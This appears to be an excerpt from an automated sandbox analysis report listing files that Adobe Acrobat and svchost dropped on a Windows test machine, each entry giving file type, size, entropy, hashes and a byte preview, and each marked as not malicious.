SHA-512:	054DF61094F0FE3999175DDEC21CD38D40EE325174C19AA5555D08B34A0044050B253BFD5C669A299B51B61AEEE346E42AC369FFBF815931FAA05345520E330F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x17e1fc74, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585654793156155
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0935DD8E12C75B27ABE4DC27CDF0B374
SHA1:	8D67AA3FCA5B9D3665704F113C8BE72CB8DB7CE3
SHA-256:	B70A8BA147A1CB7726DB07CE3254D225AE2F55E502FBB66BD543103B9B18B7DD
SHA-512:	12B553FDF3E3E6B690E70B25251177AF78E2D3F05AF285D4B4CA900DFD8C2817EE062FB4921D28F4008A22A91CF91859929235C028FCF29D9775927C96B04CF5
Malicious:	false
Preview:	...t... ...............X\...;...{......................0.z..........{..79...}i.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................U.Z79...}..................<[W.79...}i..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08074009788569572
Encrypted:	false
SSDEEP:	3:4h8YelplNkGuAJkhvekl1jmReXallrekGltll/SPj:4WzlplGrxl1mRnJe3l
MD5:	334E39BD504E696541BC0C2387AEB340
SHA1:	5C8EE510E91904EDC03D23EA3B1E68FE82DBF97E
SHA-256:	23B82C6F99F9C2FB8EA121C98E9FAA3ECB7E509072BAFAB7F8AB9AEA3FC01102
SHA-512:	A163D735584482EC02C697A8AC74F28069FE2DFED0DA14632E063320F882579F62A96CF87125F35C159B72ED473751BA15C6E52D99EB1F036E19E1E8B708E333
Malicious:	false
Preview:	.}......................................;...{..79...}i......{...............{.......{...XL......{..................<[W.79...}i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.24589848589036
Encrypted:	false
SSDEEP:	6:iO4q21q2P92nKuAl9OmbnIFUtSq2rdRXZmwsq2rUFbFzkwO92nKuAl9OmbjLJ:7U1v4HAahFUtKrdRX/orUxF5LHAaSJ
MD5:	002048EBB9922F620063927E7BEC49D5
SHA1:	A00403750ACC44290AD3038E2EB8FBDE173AAD7E
SHA-256:	FD708CF58B3D0AE453D2FE167AD4ABF78300EA9FED9F848C6D6DA96D3663785F
SHA-512:	D36A2DBAEC49727540D6E6CAAA914D38F92231BE25AD879CD3ABD46243F25F0EC17F6A84074C402741D4BA28B4277D419D1235B8031B716D68D4182251A72D2E
Malicious:	false
Preview:	2025/01/10-21:57:55.788 464 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:57:55.790 464 Recovering log #3.2025/01/10-21:57:55.791 464 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.24589848589036
Encrypted:	false
SSDEEP:	6:iO4q21q2P92nKuAl9OmbnIFUtSq2rdRXZmwsq2rUFbFzkwO92nKuAl9OmbjLJ:7U1v4HAahFUtKrdRX/orUxF5LHAaSJ
MD5:	002048EBB9922F620063927E7BEC49D5
SHA1:	A00403750ACC44290AD3038E2EB8FBDE173AAD7E
SHA-256:	FD708CF58B3D0AE453D2FE167AD4ABF78300EA9FED9F848C6D6DA96D3663785F
SHA-512:	D36A2DBAEC49727540D6E6CAAA914D38F92231BE25AD879CD3ABD46243F25F0EC17F6A84074C402741D4BA28B4277D419D1235B8031B716D68D4182251A72D2E
Malicious:	false
Preview:	2025/01/10-21:57:55.788 464 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:57:55.790 464 Recovering log #3.2025/01/10-21:57:55.791 464 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.179850005342568
Encrypted:	false
SSDEEP:	6:iO4q27UGL4q2P92nKuAl9Ombzo2jMGIFUtSq2sLJZmwsq2hVDkwO92nKuAl9OmbX:7UdMv4HAa8uFUtKs9/ohd5LHAa8RJ
MD5:	01F198B9B9A76D1C24C8297D207F82C9
SHA1:	6644846375AF258F29B7CDA15D9A628161608255
SHA-256:	FD4B0FEDBE0C151D052EB919DDFA2C27DEF6AD222960130ECE05A808863CCA51
SHA-512:	55EEE71CE523DD0497B39BC468B170943B32A6041075F2E7545FA1E8439A4D32FE2EED928024FA4ACFC844A248885BCC9461396DFD5F6AFE16905307D4F6427B
Malicious:	false
Preview:	2025/01/10-21:57:55.844 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:57:55.845 1c44 Recovering log #3.2025/01/10-21:57:55.846 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.179850005342568
Encrypted:	false
SSDEEP:	6:iO4q27UGL4q2P92nKuAl9Ombzo2jMGIFUtSq2sLJZmwsq2hVDkwO92nKuAl9OmbX:7UdMv4HAa8uFUtKs9/ohd5LHAa8RJ
MD5:	01F198B9B9A76D1C24C8297D207F82C9
SHA1:	6644846375AF258F29B7CDA15D9A628161608255
SHA-256:	FD4B0FEDBE0C151D052EB919DDFA2C27DEF6AD222960130ECE05A808863CCA51
SHA-512:	55EEE71CE523DD0497B39BC468B170943B32A6041075F2E7545FA1E8439A4D32FE2EED928024FA4ACFC844A248885BCC9461396DFD5F6AFE16905307D4F6427B
Malicious:	false
Preview:	2025/01/10-21:57:55.844 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:57:55.845 1c44 Recovering log #3.2025/01/10-21:57:55.846 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.041721234375252
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSqsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRdszPdMHy3QYhbxP7nbI+
MD5:	3B4C6D02EBDEA92746FFC70DE35CB6DC
SHA1:	B78C196D194917AD5E856F2072F7BB9F85B72F3F
SHA-256:	2C34F56C87C7BC18FF59C075C17B0D5766A4C8EF54C6956C6B8CA6C27E9BFB94
SHA-512:	3332CC7621BED32516F05F97750B30C07C01CEDE5F9E89793FB14DFAD55E61C7F9FED15643E1BF166FD6FF8F83AD2C19E287A370289DA4E43DAFE578F62FA0D3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124288447847","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135246},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a365a33d-8349-449f-b12d-bace5c317205.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.041721234375252
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSqsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRdszPdMHy3QYhbxP7nbI+
MD5:	3B4C6D02EBDEA92746FFC70DE35CB6DC
SHA1:	B78C196D194917AD5E856F2072F7BB9F85B72F3F
SHA-256:	2C34F56C87C7BC18FF59C075C17B0D5766A4C8EF54C6956C6B8CA6C27E9BFB94
SHA-512:	3332CC7621BED32516F05F97750B30C07C01CEDE5F9E89793FB14DFAD55E61C7F9FED15643E1BF166FD6FF8F83AD2C19E287A370289DA4E43DAFE578F62FA0D3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124288447847","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135246},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237283249521164
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU+eW2:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL0
MD5:	DF2A5FDDA1E1BDE7B9785AAC7CB53194
SHA1:	72F5557769FE2E819AFB5DBE616542660D071E4C
SHA-256:	FDE1C919BDD4EC925CFEEF82DD6BD392E76BD34A5B734AD8A0741A52A4E58D3E
SHA-512:	89EC3EA7BB04129669C603997825A278A577E76C55CA56B66EF6FE0C57215E004ADBECEC2B2B3E3C313ABA71B0756B14C0B820E556270DE51973E8FEDDA00E5F
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.164416839381931
Encrypted:	false
SSDEEP:	6:iO4qB+C34q2P92nKuAl9OmbzNMxIFUtSqB+bNJZmwsqB+qDkwO92nKuAl9OmbzNq:7b+jv4HAa8jFUtF+L/f+U5LHAa84J
MD5:	8882010131DAA676BD9EA6D80C57AD2D
SHA1:	743BDCAE215B5A0E9FFFD3DC7DB5CC6B7815C0CD
SHA-256:	83CD9B7F7CA905FB68DE24E2D21308C43BDB913DB10B3DDE4DC729C347EA08BF
SHA-512:	D5CD3FAA9008F4C106D53D6DA4FC871F886EA260254C1A929A1996D673A5048C835FA149B1B4A4D2F9A79AB0CCC353D04C9937E26620245B406DE691A81E497B
Malicious:	false
Preview:	2025/01/10-21:57:56.013 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:57:56.014 1c44 Recovering log #3.2025/01/10-21:57:56.015 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.164416839381931
Encrypted:	false
SSDEEP:	6:iO4qB+C34q2P92nKuAl9OmbzNMxIFUtSqB+bNJZmwsqB+qDkwO92nKuAl9OmbzNq:7b+jv4HAa8jFUtF+L/f+U5LHAa84J
MD5:	8882010131DAA676BD9EA6D80C57AD2D
SHA1:	743BDCAE215B5A0E9FFFD3DC7DB5CC6B7815C0CD
SHA-256:	83CD9B7F7CA905FB68DE24E2D21308C43BDB913DB10B3DDE4DC729C347EA08BF
SHA-512:	D5CD3FAA9008F4C106D53D6DA4FC871F886EA260254C1A929A1996D673A5048C835FA149B1B4A4D2F9A79AB0CCC353D04C9937E26620245B406DE691A81E497B
Malicious:	false
Preview:	2025/01/10-21:57:56.013 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:57:56.014 1c44 Recovering log #3.2025/01/10-21:57:56.015 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 4, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.293458200491938
Encrypted:	false
SSDEEP:	192:PedRBfVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:PeFci5H5FY+EUUUTTcHqFzqFP
MD5:	20B3C2133F2C10FD2833B170BED47BC6
SHA1:	45A45E3315A329280CA544461B62571D4BC9D94A
SHA-256:	1947B8B1616CCE2C768944B5D080D155AD1F853AC9BDDC6C706FCCECFBF11E09
SHA-512:	6685D04785DA13283B9CA973A68F8A2765781E8A5E9E3154D6FE932AE0F9258691CF53BB214F146543ECA8CE096CABCE40B73993AB9B75B3866B9BBE7E60253F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2087131625329546
Encrypted:	false
SSDEEP:	24:7+tS7wKB0qLKzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzM:7MG+qOmFTIF3XmHjBoGGR+jMz+Lh9
MD5:	97A8500132B16142A56F77EE0E2B84AF
SHA1:	9A3E5721A101F6EF8DF85A7F451C495508D55291
SHA-256:	3BC8112A840C1D0CF77622E3FBF78184D598F216610103D31644A101DDB5D56E
SHA-512:	5180701D86C1EA609D9F60BBD8F289075B63ED1B4D87084C8B2B60926772F9007DD269686EDC775275AF6C0F52F65EAD0C460EC127BB51CA7CA2CD2F5C759390
Malicious:	false
Preview:	.... .c.....)..C........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl+v3/tfllXlE/HT8kjsJ/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKnv3/eT8q6NMa8RdWBwRd
MD5:	F7F68811CED5F5EBF39A2713C3C604FC
SHA1:	15BAD0B7C87AE9D04F330B2CBAC72674B1F4621B
SHA-256:	6CDBA6148B7B4FDEA83F5DCE973202974B634435C6EFC3DA3C55A260524EE485
SHA-512:	03D9076FC2B2C407BB17269D843B3CDD90F134744616937ABB8AB251BFF49CC120B1C8EBF8CEC6A2CCA576AD651BFDC744FA9C95BCE8A874A9050EC2191FF54B
Malicious:	false
Preview:	p...... .........J..c..(....................................................... ..........W....F...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKfOL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XODiDImsLNkPlE99SNxAhUe/3
MD5:	D80F96EADBB2C51C126C9937236AEF01
SHA1:	72624D470B576DAAE4397C2338E1A8C571237170
SHA-256:	CCC7BAF65CFCC325EB4896291449F1B2837040BB3D0360DE20DD1B747C19210B
SHA-512:	7858B4C605E51CED3282874AD27EF175CA143FE54E72B8A77281FF78C6305180538B1B229D52D9E75331C511657BF9502A85A4513CB9539ADA901A149A6984B1
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
